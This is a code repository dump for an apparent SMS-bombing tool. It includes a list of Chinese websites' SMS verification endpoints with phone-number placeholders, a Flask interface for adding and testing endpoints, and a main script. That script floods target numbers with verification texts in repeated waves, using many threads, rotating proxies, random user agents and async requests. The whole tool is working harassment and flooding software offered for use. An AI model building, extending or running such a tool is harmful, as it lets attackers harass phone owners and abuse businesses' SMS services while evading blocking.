| "deviceModel": "M2102J2SC", 595 | "deviceName": "Xiaomi M2102j2sc", 596 | "OSVersion": "11", 597 | "creditkey": "", 598 | "hl": "zh-CN", 599 | "mobile": "[phone]", 600 | "register": "0" 601 | } 602 | }, 603 | { 604 | "desc": "乐教乐学", 605 | "url": "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=[phone]", 606 | "method": "GET", 607 | "header": "", 608 | "data": "" 609 | }, 610 | { 611 | "desc": "云杏HIS系统(九明珠)", 612 | "url": "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm", 613 | "method": "POST", 614 | "header": "", 615 | "data": "{'lxdh': [phone]}" 616 | }, 617 | { 618 | "desc": "秘塔写作", 619 | "url": "https://xiezuocat.com/verify?type=signup", 620 | "method": "POST", 621 | "header": "", 622 | "data": { 623 | "phone": "86-[phone]" 624 | } 625 | }, 626 | { 627 | "desc": "CNMO 网站", 628 | "url": "http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_[timestamp]&mobile=[phone]&type=5&_=[timestamp]", 629 | "method": "POST", 630 | "header": "", 631 | "data": "" 632 | }, 633 | { 634 | "desc": "DR钻戒web", 635 | "url": "https://elove.darryring.com/api/crm/newGwLogin/getSMSValidCode?phone=[phone]&type=login", 636 | "method": "GET", 637 | "header": "", 638 | "data": "" 639 | }, 640 | { 641 | "desc": "有享云商web", 642 | "url": "https://mallapi.yofogo.com/biz-mall-application/v1/user/verifyCode/getVerifyCode?phone=[phone]&descriptionType=1&codeType=2", 643 | "method": "GET", 644 | "header": "", 645 | "data": "" 646 | }, 647 | { 648 | "desc": "研才教育app", 649 | "url": "https://mall.yancais.com/api/sms/send?phone=[phone]", 650 | "method": "GET", 651 | "header": "", 652 | "data": "" 653 | }, 654 | { 655 | "desc": "成卓科技", 656 | "url": "https://callphone.hnczkj.cn/app_api/json/sendSms", 657 | "method": "POST", 658 | "header": "", 659 | "data": { 660 | "phone": "[phone]", 661 | "product": "biyingdianhua_ios", 662 | "key": "mwoe093fwef" 663 | } 664 | }, 665 | { 666 | "desc": "加密电话", 667 | "url": "https://m.4009991000.com/valNumQry.action", 668 | "method": "POST", 669 | "header": "", 670 | "data": { 671 | "appType": "1", 672 | "app_id": "5555", 673 | "mobileNo": "[phone]", 674 | "sig": "16cd52ea74f5ea4a6c2fe80b9a04f8b5", 675 | "src": "1", 676 | "v": "4.9.2", 677 | "validType": "3" 678 | } 679 | }, 680 | { 681 | "desc": "快应用美抽", 682 | "url": "http://users.seeyouyima.com/xiaomi/connect/?action=getCaptcha&v=2.1.0&app_id=11&platform=7&myclient=1172100000&account=[phone]", 683 | "method": "POST", 684 | "header": "", 685 | "data": "" 686 | }, 687 | { 688 | "desc": "小叶子app", 689 | "url": "https://dss.xiaoyezi.com/student_app/auth/validate_code?mobile=[phone]&country_code=86", 690 | "method": "GET", 691 | "header": "", 692 | "data": "" 693 | }, 694 | { 695 | "desc": "牙e在线", 696 | "url": "https://yae920.com/login/sendSMS?mobile=[phone]&smsType=02×tamp=[timestamp]", 697 | "method": "POST", 698 | "header": "", 699 | "data": "mobile=[phone]&smsType=02×tamp=[timestamp]" 700 | }, 701 | { 702 | "desc": "某数图表web(存疑)", 703 | "url": "https://dycharts.com/vis/auth/send_signin_sms_code", 704 | "method": "POST", 705 | "header": "", 706 | "data": { 707 | "phoneNo": "13809213237" 708 | } 709 | }, 710 | { 711 | "desc": "17k小说网app", 712 | "url": "http://api.17k.com/user/mobile/[phone]/message?smsType=2&deviceFlag=64e538d8f0cff7bb107dd8c1fba0f5a2&cpsOpid=17Kxiaomi&_filterData=1&device_id=e0c0b30933e42492&channel=0&_versions=1280&merchant=17Kxiaomi&ua=Mozilla%2F5.0%20%28Linux%3B%20Android%2011%3B%20M2102J2SC%20Build%2FRKQ1.200826.002%3B%20wv%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Version%2F4.0%20Chrome%2F100.0.4896.127%20Mobile%20Safari%2F537.36&platform=2&manufacturer=Xiaomi&clientType=1&width=1080&appKey=4037465544&model=M2102J2SC&cpsSource=0&brand=Xiaomi&youthModel=0&height=2206", 713 | "method": "GET", 714 | "header": "", 715 | "data": "" 716 | }, 717 | { 718 | "desc": "汇看点快应用", 719 | "url": "https://grzx.brily.cn/api/utils/sendSmsCode?phone=[phone]&type=USER_REG", 720 | "method": "POST", 721 | "header": "", 722 | "data": "" 723 | }, 724 | { 725 | "desc": "核桃编程app", 726 | "url": "https://api.hetao101.com/login/v2/account/oauth/verifyCode?phoneNumber=[phone]", 727 | "method": "GET", 728 | "header": "", 729 | "data": "" 730 | }, 731 | { 732 | "desc": "永城至敏", 733 | "url": "http://101.132.126.166:8080/message/sendVerifyCode?callback=successCallback&mobilePhone=[phone]&t=1589625247333action_type=regist&mobile=[phone]", 734 | "method": "GET", 735 | "header": "", 736 | "data": "" 737 | }, 738 | { 739 | "desc": "金中网", 740 | "url": "https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=[phone]&mbid=197858&check=3", 741 | "method": "GET", 742 | "header": "", 743 | "data": "" 744 | } 745 | ] -------------------------------------------------------------------------------- /flask_app/__init__.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # app 工厂函数 3 | from flask import Flask, current_app 4 | from flask_sqlalchemy import SQLAlchemy 5 | from flask_admin import Admin 6 | from flask_babelex import Babel 7 | import sys 8 | import os 9 | from loguru import logger 10 | 11 | # 判断系统 12 | WIN = sys.platform.startswith('win') 13 | if WIN: # 如果是 Windows 系统,使用三个斜线 14 | prefix = 'sqlite:///' 15 | else: # 否则使用四个斜线 16 | prefix = 'sqlite:////' 17 | 18 | # 日志处理 19 | logger.remove() 20 | logger.add( 21 | sink=sys.stdout, 22 | format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", 23 | colorize=True, 24 | backtrace=True 25 | ) 26 | 27 | app = Flask(__name__) 28 | 29 | 30 | # app config 31 | class AppConfig: 32 | SQLALCHEMY_DATABASE_URI = prefix + \ 33 | os.path.join(app.root_path, 'data.db') # 数据库路径 34 | SQLALCHEMY_TRACK_MODIFICATIONS = False # 关闭对模型修改的监控 35 | FLASK_ADMIN_SWATCH = "cerulean" # admin 主题 36 | 37 | # 密钥 38 | SESSION_TYPE = 'filesystem' 39 | SECRET_KEY = os.urandom(24) 40 | 41 | BABEL_DEFAULT_LOCALE = 'zh_CN' # 汉化 42 | 43 | TEST_PHONE = "19820294268" # 测试手机号 44 | 45 | 46 | app.config.from_object(AppConfig) 47 | # 设置模板全局变量 48 | # print(app.config.get("TEST_PHONE")) 49 | app.add_template_global(current_app, "current_app") 50 | 51 | # 扩展 52 | db = SQLAlchemy(app) 53 | babel = Babel(app) 54 | 55 | admin = Admin(app, name="短信接口调试", template_mode='bootstrap3') 56 | from .model import ApisModelVies, Apis 57 | 58 | admin.add_view(ApisModelVies(Apis, db.session)) 59 | 60 | # buleprint 61 | from .views import main as main_blueprint 62 | 63 | app.register_blueprint(main_blueprint) 64 | -------------------------------------------------------------------------------- /flask_app/data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/flask_app/data.db -------------------------------------------------------------------------------- /flask_app/model.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 储存数据库模型 3 | import os 4 | from . import db 5 | from datetime import datetime 6 | from . import ModelView 7 | from json import loads 8 | from typing import Union, Optional 9 | from pydantic import BaseModel 10 | from random import choice 11 | 12 | headers = list() 13 | if os.path.exists("useragents"): 14 | txt_list = os.listdir("useragents") 15 | for txt in txt_list: 16 | try: 17 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f: 18 | headers.extend(f.read().split('\n')) 19 | except Exception: 20 | continue 21 | 22 | 23 | class ApisModelVies(ModelView): 24 | create_template = 'api_edit.html' 25 | edit_template = 'api_edit.html' 26 | # 在当前页面编辑 27 | # create_modal = True 28 | # edit_modal = True 29 | # 启用搜索 30 | column_searchable_list = ['desc'] 31 | # 可以导出 csv 32 | can_export = True 33 | 34 | 35 | class Apis(db.Model): 36 | id = db.Column(db.Integer, primary_key=True) # 主键 37 | desc = db.Column(db.String(20), default="Default") # 描述 38 | url = db.Column(db.String(9999), unique=True, nullable=False) # 链接 39 | method = db.Column(db.Enum("GET", "POST"), nullable=False) # 请求方法 40 | header = db.Column(db.String(9999)) # 请求头 41 | data = db.Column(db.String(9999)) # 请求数据 42 | add_time = db.Column(db.DateTime(), default=datetime.now) # 添加时间 43 | 44 | 45 | class API(BaseModel): 46 | desc: str = "Default" 47 | url: str 48 | method: str = "GET" 49 | header: Optional[Union[str, dict]] = {'User-Agent': choice(headers)} 50 | data: Optional[Union[str, dict]] 51 | 52 | def replace_data(self, content: Union[str, dict], phone) -> str: 53 | # 统一转换成 str 再替换. 54 | content = str(content).replace("[phone]", phone).replace( 55 | "[timestamp]", self.timestamp_new()).replace("'", '"') 56 | # 尝试 json 化 57 | try: 58 | # loads(content) 59 | # print("json成功",content) 60 | return loads(content) 61 | except: 62 | # print("json失败",content) 63 | return content 64 | 65 | @staticmethod 66 | def timestamp_new() -> str: 67 | """返回整数字符串时间戳""" 68 | return str(int(datetime.now().timestamp())) 69 | 70 | def handle_API(self, phone=None): 71 | """ 72 | :param phone: 73 | :return: 74 | """ 75 | # 仅仅当传入 phone 参数时添加 Referer 76 | # fix: 这段代码很有问题....... 77 | if phone: 78 | # 进入的 header 是个字符串 79 | if self.header == "": 80 | self.header = {'Referer': self.url} 81 | 82 | self.header = self.replace_data(self.header, phone) 83 | if not self.header.get('Referer'): 84 | self.header['Referer'] = self.url # 增加 Referer 85 | 86 | self.data = self.replace_data(self.data, phone) 87 | self.url = self.replace_data(self.url, phone) 88 | # print(self) 89 | return self 90 | -------------------------------------------------------------------------------- /flask_app/static/test.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | function getValue() { 4 | let desc = $("#desc").val(); 5 | let url = $("#url").val(); 6 | let method = $("#method").val(); 7 | let header = $("#header").val(); 8 | let phone = $("#phone").val(); 9 | let data_ = $("#data").val(); 10 | 11 | let data = { 12 | "desc": desc, 13 | "url": url, 14 | "method": method, 15 | "header": header, 16 | "phone": phone, 17 | "data": data_ 18 | }; 19 | 20 | return data; 21 | }; 22 | 23 | $(document).ready(function () { 24 | 25 | 26 | 27 | $("#test").click(function () { 28 | 29 | $.ajax({ 30 | type: "POST", 31 | url: "/testapi/", 32 | contentType: "application/json", 33 | data: JSON.stringify(getValue()), 34 | dataType: "json", 35 | success: function (response) { 36 | if (response.status == 0) { 37 | $("#suc").show().text("请求成功!:" + response.resp); 38 | } else { 39 | $("#suc").attr("class", "alert alert-warning").show().text("请求失败!:" + response.resp); 40 | } 41 | }, 42 | error: function (XMLHttpRequest, textStatus, errorThrown) { 43 | $("#error").show().text("发送请求错误请检查后端接口:" + textStatus); 44 | }, 45 | }); 46 | 47 | }); 48 | 49 | // console.log(desc, url, method, header); 50 | 51 | 52 | }); -------------------------------------------------------------------------------- /flask_app/templates/admin_back.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 短信轰炸接口调试工具. 9 | 10 | 12 | 15 | 18 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 | 32 |

33 | 短信接口添加工具 34 | By 落落 35 |

36 | 37 |
38 |
39 |
40 | phone 41 |
42 | 43 |
44 | 45 |
46 |
47 | decs 48 |
49 | 50 |
51 | 52 |
53 |
54 | URL 55 |
56 | 57 |
58 | 59 |
60 |
61 | Data 62 |
63 | 64 |
65 | 66 |
67 | 68 |
69 |
70 | header 71 |
72 | 74 |
75 | 76 |
77 |
78 | 请求方法 79 |
80 | 81 |
82 |
83 | 84 |
85 | 88 | 89 |
90 | 93 | 96 |
97 | 98 |
99 | 100 |
101 | 105 |
106 | 107 | 108 | 109 | 110 |
111 | 112 | 113 | 172 | 173 | -------------------------------------------------------------------------------- /flask_app/templates/api_edit.html: -------------------------------------------------------------------------------- 1 | {% extends 'admin/model/edit.html' %} 2 | 3 | {% block body %} 4 |

短信接口添加

5 |

替换字符: 手机号[phone] 时间戳[timestamp]

6 | {{ super() }} 7 | 8 | 9 | {% endblock %} 10 | 11 | 12 | {% block tail %} 13 | 14 | 15 | 16 | {% endblock %} 17 | -------------------------------------------------------------------------------- /flask_app/utils.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | import os 3 | from httpx import Client, Response 4 | from .model import API 5 | from random import choice 6 | 7 | headers = list() 8 | if os.path.exists("useragents"): 9 | txt_list = os.listdir("useragents") 10 | for txt in txt_list: 11 | try: 12 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f: 13 | headers.extend(f.read().split('\n')) 14 | except Exception: 15 | continue 16 | 17 | 18 | def test_resq(api: API, phone) -> Response: 19 | """测试 API 返回响应 20 | :param api: API model 21 | :param phone: 手机号 22 | :return: httpx 请求对象. 23 | """ 24 | api = api.handle_API(phone) 25 | with Client(headers={'User-Agent': choice(headers)}, timeout=8) as client: 26 | # 这个判断没意义.....但是我不知道怎么优化... 27 | # https://stackoverflow.com/questions/26685248/difference-between-data-and-json-parameters-in-python-requests-package 28 | # Todo: json 和 data 表单发送的问题,有些服务器不能解释 json,只能接受表单 29 | # sol: 1. 添加额外字段判断... 30 | if not isinstance(api.data, dict): 31 | print("data") 32 | resp = client.request(method=api.method, headers=api.header, 33 | url=api.url, data=api.data) 34 | else: 35 | print('json') 36 | resp = client.request( 37 | method=api.method, headers=api.header, url=api.url, json=api.data) 38 | 39 | return resp 40 | 41 | 42 | if __name__ == '__main__': 43 | pass 44 | -------------------------------------------------------------------------------- /flask_app/views/__init__.py: -------------------------------------------------------------------------------- 1 | from flask import Blueprint 2 | 3 | main = Blueprint("main",__name__) 4 | 5 | from . import views, error 6 | from .. import db -------------------------------------------------------------------------------- /flask_app/views/error.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python python3 2 | # coding=utf-8 3 | from . import main 4 | from flask import redirect, url_for 5 | 6 | 7 | @main.app_errorhandler(404) 8 | def page_not_found(e): 9 | """注册应用全局错误处理""" 10 | print("404") 11 | return redirect(url_for('main.index')) 12 | 13 | 14 | @main.app_errorhandler(401) 15 | def authfail(e): 16 | return redirect('/static/401.jpg') -------------------------------------------------------------------------------- /flask_app/views/views.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # flask app views 3 | from . import main 4 | import json 5 | from ..model import Apis, API 6 | from ..utils import test_resq 7 | from .. import logger 8 | import httpx 9 | from flask_app import db 10 | from flask import request, jsonify 11 | 12 | 13 | @main.route("/", methods=['GET', 'POST']) 14 | def index(): 15 | return "index" 16 | 17 | 18 | @main.route("/testapi/", methods=['GET', 'POST']) 19 | def testapi(): 20 | try: 21 | req = request.json 22 | api = API(**req) 23 | resp = test_resq(api, phone=req.get('phone')) 24 | print(resp.text) 25 | return jsonify({"status": 0, "resp": f"{resp.text}"}) 26 | except httpx.HTTPError as why: 27 | return jsonify({"status": 1, "resp": f"HTTP请求错误:{why}"}) 28 | except Exception as why: 29 | logger.exception(why) 30 | return jsonify({"status": 1, "resp": f"其他错误:{why}"}) 31 | -------------------------------------------------------------------------------- /img/Screenshot_20220919_173722_com.android.mms.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/Screenshot_20220919_173722_com.android.mms.jpg -------------------------------------------------------------------------------- /img/smsboom-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/smsboom-logo.png -------------------------------------------------------------------------------- /img/test.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/test.gif -------------------------------------------------------------------------------- /img/webui-test-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/webui-test-2.png -------------------------------------------------------------------------------- /img/webui-test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/img/webui-test.png -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import click 4 | from typing import Union 5 | from utils.models import API 6 | from utils.req import req_func, req_func_by_proxy, run_async, run_async_by_proxy 7 | from concurrent.futures import ThreadPoolExecutor 8 | from ProxySpider import ProxySpider 9 | from pathlib import Path 10 | from json import loads 11 | from httpx import Client 12 | from random import choice 13 | from time import sleep 14 | from asyncio import get_event_loop 15 | 16 | # 確定應用程序係一個腳本文件或凍結EXE 17 | if getattr(sys, 'frozen', False): 18 | path = os.path.dirname(sys.executable) 19 | elif __file__: 20 | path = os.path.dirname(__file__) 21 | 22 | headers = list() 23 | if os.path.exists("useragents"): 24 | txt_list = os.listdir("useragents") 25 | for txt in txt_list: 26 | try: 27 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f: 28 | headers.extend(f.read().split('\n')) 29 | except Exception: 30 | continue 31 | 32 | 33 | @click.group() 34 | def cli(): 35 | pass 36 | 37 | 38 | @click.command() 39 | def update(): 40 | """从 github 获取最新接口""" 41 | GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json" 42 | API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json" 43 | print("正在从GitHub拉取最新接口!") 44 | try: 45 | with Client(verify=False, timeout=10) as client: 46 | GETAPI_json = client.get( 47 | GETAPI_json_url, headers={'User-Agent': choice(headers)}).content.decode(encoding="utf8") 48 | api_json = client.get( 49 | API_json_url, headers={'User-Agent': choice(headers)}).content.decode(encoding="utf8") 50 | 51 | except Exception as e: 52 | print("拉取更新失败:{}请关闭所有代理软件多尝试几次!".format(e)) 53 | 54 | else: 55 | with open(Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a: 56 | a.write(GETAPI_json) 57 | with open(Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a: 58 | a.write(api_json) 59 | 60 | print("接口更新成功!") 61 | 62 | 63 | @click.command() 64 | @click.option("--thread", "-t", help="线程数(默认64)", default=64) 65 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) 66 | @click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int) 67 | @click.option('--proxies', "-e", default=10, help="一次攻击所需代理(默认10),不使用代理则设为0", type=int) 68 | def run(thread: int, phone: Union[str, tuple], interval: int, proxies: int): 69 | """传入线程数和手机号启动轰炸,支持多手机号""" 70 | 71 | print("手机号:{}, 线程数:{}, 间隔时间:{}, 代理数:{}".format(phone, thread, interval, proxies)) 72 | 73 | Spider = ProxySpider(proxies, proxypool_url='http://127.0.0.1:5555/random') 74 | 75 | try: 76 | """load json for api.json""" 77 | json_path = Path(path, 'api.json') 78 | if not json_path.exists(): 79 | raise ValueError 80 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 81 | try: 82 | datas = loads(j.read()) 83 | api = [API(**data) for data in datas] 84 | 85 | except Exception: 86 | raise ValueError 87 | 88 | """load json for GETAPI.json""" 89 | json_path = Path(path, 'GETAPI.json') 90 | if not json_path.exists(): 91 | raise ValueError 92 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 93 | try: 94 | getapi = loads(j.read()) 95 | except Exception: 96 | raise ValueError 97 | 98 | except ValueError: 99 | print("读取接口出错!正在重新下载接口数据!....") 100 | update() 101 | sys.exit(1) 102 | 103 | with ThreadPoolExecutor(max_workers=thread) as pool: 104 | i = 1 105 | while True: 106 | print("第{}波轰炸开始!".format(i)) 107 | if proxies != 0: 108 | Spider.run() 109 | print("第{}波轰炸 - 当前正在使用代理{}, 进行轰炸...".format(i, Spider.ip_list)) 110 | # {'all://': 'http://91.93.42.115:10001'} 111 | for value in api: 112 | pool.submit(req_func_by_proxy, value, phone, {'http://': 'http://' + choice(Spider.ip_list)}) 113 | 114 | for value in getapi: 115 | pool.submit(req_func_by_proxy, value, phone, {'http://': 'http://' + choice(Spider.ip_list)}) 116 | 117 | del ProxySpider.ip_list[:] 118 | else: 119 | print("第{}波开始轰炸...".format(i)) 120 | for value in api: 121 | pool.submit(req_func, value, phone) 122 | for value in getapi: 123 | pool.submit(req_func, value, phone) 124 | 125 | print("第{}波轰炸提交结束!休息{}s.....".format(i, interval)) 126 | i = i + 1 127 | sleep(interval) 128 | 129 | 130 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) 131 | @click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int) 132 | @click.option('--proxies', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool) 133 | @click.command() 134 | def async_run(phone: Union[str, tuple], interval: int, proxies: bool = False): 135 | """以最快的方式请求接口(真异步百万并发)""" 136 | 137 | print("手机号:{}, 间隔时间:{}, 是否开启代理:{}".format(phone, interval, proxies)) 138 | 139 | """load json for api.json""" 140 | json_path = Path(path, 'api.json') 141 | if not json_path.exists(): 142 | raise ValueError 143 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 144 | try: 145 | datas = loads(j.read()) 146 | api = [API(**data) for data in datas] 147 | 148 | except Exception: 149 | raise ValueError 150 | 151 | """load json for GETAPI.json""" 152 | json_path = Path(path, 'GETAPI.json') 153 | if not json_path.exists(): 154 | raise ValueError 155 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 156 | try: 157 | getapi = loads(j.read()) 158 | except Exception: 159 | raise ValueError 160 | 161 | apis = api + getapi 162 | Spider = ProxySpider(1, proxypool_url='http://127.0.0.1:5555/random') 163 | 164 | i = 1 165 | while True: 166 | print("第{}波轰炸开始!".format(i)) 167 | if proxies: 168 | Spider.run() 169 | # {'http://': 'http://' + Spider.ip_list[-1]} 170 | proxy = {'http://': 'http://' + Spider.ip_list[-1]} 171 | print("第{}波轰炸 - 当前正在使用代理{}, 进行轰炸...".format(i, proxy)) 172 | loop = get_event_loop() 173 | loop.run_until_complete(run_async_by_proxy(apis, phone, proxy)) 174 | del Spider.ip_list[:] 175 | else: 176 | print("第{}波开始轰炸...".format(i)) 177 | loop = get_event_loop() 178 | loop.run_until_complete(run_async(apis, phone)) 179 | 180 | print("第{}波轰炸提交结束!休息{}s.....".format(i, interval)) 181 | i = i + 1 182 | sleep(interval) 183 | 184 | 185 | @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True) 186 | @click.command() 187 | def one_run(phone: Union[str, tuple]): 188 | """单线程(测试使用)""" 189 | """load json for api.json""" 190 | json_path = Path(path, 'api.json') 191 | if not json_path.exists(): 192 | raise ValueError 193 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 194 | try: 195 | datas = loads(j.read()) 196 | api = [API(**data) for data in datas] 197 | 198 | except Exception: 199 | raise ValueError 200 | 201 | """load json for GETAPI.json""" 202 | json_path = Path(path, 'GETAPI.json') 203 | if not json_path.exists(): 204 | raise ValueError 205 | with open(json_path.resolve(), mode="r", encoding="utf8") as j: 206 | try: 207 | getapi = loads(j.read()) 208 | except Exception: 209 | raise ValueError 210 | 211 | apis = api + getapi 212 | 213 | for api in apis: 214 | try: 215 | req_func(api, phone) 216 | except Exception as e: 217 | print(e) 218 | 219 | 220 | cli.add_command(update) 221 | cli.add_command(run) 222 | cli.add_command(async_run) 223 | cli.add_command(one_run) 224 | 225 | if __name__ == '__main__': 226 | cli() 227 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/linxinloningg/Boom/2c6b602b79b6273396fd4ad23984d3d7f84c2098/requirements.txt -------------------------------------------------------------------------------- /run_flask_app.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # flask app 主文件 3 | import click 4 | from loguru import logger 5 | from pathlib import Path 6 | import json 7 | from flask_app import db, app 8 | from flask_app.model import Apis 9 | from utils.models import API 10 | 11 | json_path = Path(app.root_path).parent.joinpath( 12 | "api.json") 13 | 14 | 15 | @click.command() 16 | @click.option('--drop', is_flag=True, help='重建数据库') # 设置选项 17 | def init(drop): 18 | """初始化数据库""" 19 | if drop: 20 | db.drop_all() 21 | logger.info("删除数据库...准备重建..") 22 | db.create_all() 23 | logger.success("数据库创建成功") 24 | 25 | 26 | @click.command() 27 | @logger.catch() 28 | def json2sqlite(): 29 | """将json数据转为sqlite数据库""" 30 | j = json_path.read_text(encoding="utf8") 31 | 32 | jss = json.loads(j) 33 | for js in jss: 34 | api = Apis( 35 | desc=str(js['desc']), 36 | url=str(js['url']), 37 | method=str(js['method']), 38 | data=str(js['data']), 39 | header=str(js['header']) 40 | ) 41 | # print(api.desc) 42 | try: 43 | db.session.add(api) 44 | db.session.commit() 45 | logger.info(f"{api.desc} 写入成功!") 46 | except Exception as e: 47 | db.session.rollback() # 回滚 48 | logger.error(f"{api.desc}写入数据库错误:{e}") 49 | 50 | logger.success("json To sqlite 成功!") 51 | 52 | 53 | @click.command() 54 | @logger.catch() 55 | def sqlite2json(): 56 | """将sqlite数据转为json""" 57 | apis = Apis.query.all() 58 | apis_ = [] 59 | for api in apis: 60 | # print(api.url) 61 | if api.data is None: 62 | api.data = "" 63 | if api.header is None: 64 | api.header = "" 65 | data = { 66 | "desc": api.desc, 67 | "url": api.url, 68 | "method": api.method, 69 | "data": api.data, 70 | "header": api.header, 71 | } 72 | try: 73 | api = API(**data).handle_api() 74 | apis_.append(api.dict()) 75 | except: 76 | pass 77 | # print(apis_) 78 | with open(json_path, mode="w", encoding="utf8") as j: 79 | try: 80 | json.dump(apis_, j, ensure_ascii=False, sort_keys=False, indent=4) 81 | logger.success("sqlite->json 成功!") 82 | except Exception: 83 | logger.exception("写入到 json 文件错误!") 84 | 85 | 86 | @click.command() 87 | @click.option('--host', '-h', help='监听地址', default="0.0.0.0") 88 | @click.option('--port', '-p', help='监听端口', default=9090) 89 | def start(host, port): 90 | """启动 flask app""" 91 | app.run(host=host, port=port, debug=True) 92 | 93 | 94 | @click.group() 95 | def cli(): 96 | pass 97 | 98 | 99 | cli.add_command(init) 100 | cli.add_command(start) 101 | cli.add_command(json2sqlite) 102 | cli.add_command(sqlite2json) 103 | 104 | if __name__ == "__main__": 105 | cli() 106 | -------------------------------------------------------------------------------- /useragents/android.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Linux; U; Android 4.0.4; fr-fr; MIDC409 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 2 | Mozilla/5.0 (Linux; U; Android 4.0.3; fr-fr; MIDC410 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 3 | Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 4 | Mozilla/5.0 (Linux; U; Android 4.0.3; ru-ru; Explay Surfer 7.02 Build/ICS.g12refM703A1HZ1.20121009) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 5 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 7 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 6 | Mozilla/5.0 (Android; Mobile; rv:18.0) Gecko/18.0 Firefox/18.0 7 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 4 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19 8 | Mozilla/5.0 (Linux; U; Android 4.0.3; es-es; MIDC410 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 9 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 10 | Mozilla/5.0 (Linux; Android 4.1.2; GT-I9300 Build/JZO54K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19 11 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 12 | Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 13 | Mozilla/5.0 (Android; Tablet; rv:18.0) Gecko/18.0 Firefox/18.0 14 | Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus S Build/JRO03E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 15 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 10 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 16 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 17 | Mozilla/5.0 (Linux; Android 4.2.1; Galaxy Nexus Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19 18 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-N5100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 19 | MSM7627A/1.0 Android/2.3 gingerbread/2.3.5 Release/11.16.2011 